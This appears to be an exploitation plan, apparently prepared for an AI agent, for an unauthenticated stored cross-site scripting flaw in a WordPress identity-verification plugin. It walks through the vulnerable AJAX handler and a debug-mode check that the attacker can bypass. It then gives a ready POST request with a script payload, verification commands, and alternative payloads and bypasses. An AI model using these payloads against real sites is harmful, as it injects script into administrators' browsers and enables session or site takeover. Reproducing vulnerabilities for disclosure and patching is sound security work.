Exploitation Research Plan: CVE-2026-2834 (Stored XSS in Token of Trust)

1. Vulnerability Summary

The Age Verification & Identity Verification by Token of Trust plugin is vulnerable to unauthenticated stored cross-site scripting (XSS). The vulnerability exists in the handling of the tot_error_log AJAX action. An unauthenticated attacker can send a request to admin-ajax.php with a malicious payload in the description parameter. This payload is stored in the WordPress database (within the tot_logs option) and is subsequently rendered in the plugin's administration dashboard without proper sanitization or output escaping.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Action: tot_error_log (registered as unauthenticated/nopriv)
• Vulnerable Parameter: description
• Authentication: None required (Unauthenticated)
• Preconditions: The Debugger class requires "debug mode" to be active to record logs. However, Modules/Verification/Shared/Debugger.php checks for a debug_mode parameter or cookie, which an attacker can easily provide to bypass this check.

3. Code Flow

1. Entry Point: The frontend JavaScript Modules/Shared/Assets/tot-error-log.js defines the totErrorLog function, which makes a POST request to admin-ajax.php with the action tot_error_log and parameters description, severity, module, and error.
2. AJAX Handling: The plugin registers wp_ajax_nopriv_tot_error_log. This handler calls the Debugger::log() method found in Modules/Verification/Shared/Debugger.php.
3. Logic Bypass: In Debugger.php, line 99:

   if ( ! tot_debug_mode() && ! \TOT\Shared\Settings::get_param_or_cookie( 'debug_mode' ) ) {
       return;
   }
   

   An attacker can satisfy this condition by providing a debug_mode cookie or POST parameter.
4. Storage: The Debugger::log method stores the description (passed as $head) into the $new_logs array. Upon shutdown, Debugger::store_logs_to_db() (line 147) is called:

   $db_logs = get_option( 'tot_logs', array() );
   // ... unshifts new logs ...
   update_option( 'tot_logs', $db_logs, false );
   

5. Execution Sink: When an administrator visits the plugin settings or logging page (likely handled by Modules/Shared/Settings/Page.php or a dedicated log view), the values in the tot_logs option are retrieved and echoed into the HTML response without using escaping functions like esc_html().

4. Nonce Acquisition Strategy

Based on the analysis of Modules/Shared/Assets/tot-error-log.js, the tot_error_log action does not use a nonce. The $.ajax call specifically omits any nonce or security tokens, which is common for frontend error logging where nonces might expire or not be available to unauthenticated users.

Conclusion: No nonce is required for this exploit.

5. Exploitation Strategy

The exploit will be performed using a single unauthenticated HTTP POST request.

Step 1: Inject Payload

Send a POST request to admin-ajax.php to trigger the logging mechanism.

• URL: http://[target]/wp-admin/admin-ajax.php
• Method: POST
• Headers:
  • Content-Type: application/x-www-form-urlencoded
• Body Parameters:
  • action: tot_error_log
  • description: <script>alert("XSS_EXPLOITED")</script>
  • severity: error
  • module: frontend-logger
  • debug_mode: 1 (This bypasses the tot_debug_mode() check)
  • error: {}

Step 2: Trigger Execution

Log in as an administrator and navigate to the plugin's main settings page where logs are displayed.

• URL: http://[target]/wp-admin/admin.php?page=tot_settings_tot_settings (The slug is derived from Page.php line 52: tot_settings_ + slugified title).

6. Test Data Setup

1. Install and activate Age Verification & Identity Verification by Token of Trust version 3.32.3.
2. Ensure the plugin is initialized (usually occurs upon visiting the settings page once as admin).
3. No special content or shortcodes are required because the endpoint is an AJAX action available globally via admin-ajax.php.

7. Expected Results

1. The AJAX request should return a successful JSON response: {"success": true} or similar, and the console.log in tot-error-log.js would indicate success.
2. The database option tot_logs will now contain the malicious <script> tag.
3. Upon navigating to the plugin's settings/logs page as an admin, a JavaScript alert box with "XSS_EXPLOITED" will appear.

8. Verification Steps

After sending the HTTP request, verify the injection using WP-CLI:

# Check if the payload is present in the tot_logs option
wp option get tot_logs --format=json | grep "XSS_EXPLOITED"

To verify the "debug mode" bypass:

# Check if logs were written even if global debug mode is off
wp option get tot_options | grep "debug_mode" # Should be empty or 0 if default

9. Alternative Approaches

If the description parameter is sanitized, try injecting through the error parameter.

• Payload 2: Inject into the error parameter. Debugger.php line 125 uses print_r($log, true) for the body. If the error data is displayed alongside the description, XSS may trigger there.
• Bypass Check: If debug_mode as a POST parameter fails, try setting it as a cookie:

  # Using browser_navigate or http_request with cookies
  Cookie: debug_mode=1
  

• Payload 3: If <script> tags are blocked, use attribute-based XSS:

  <img src=x onerror=alert(1)>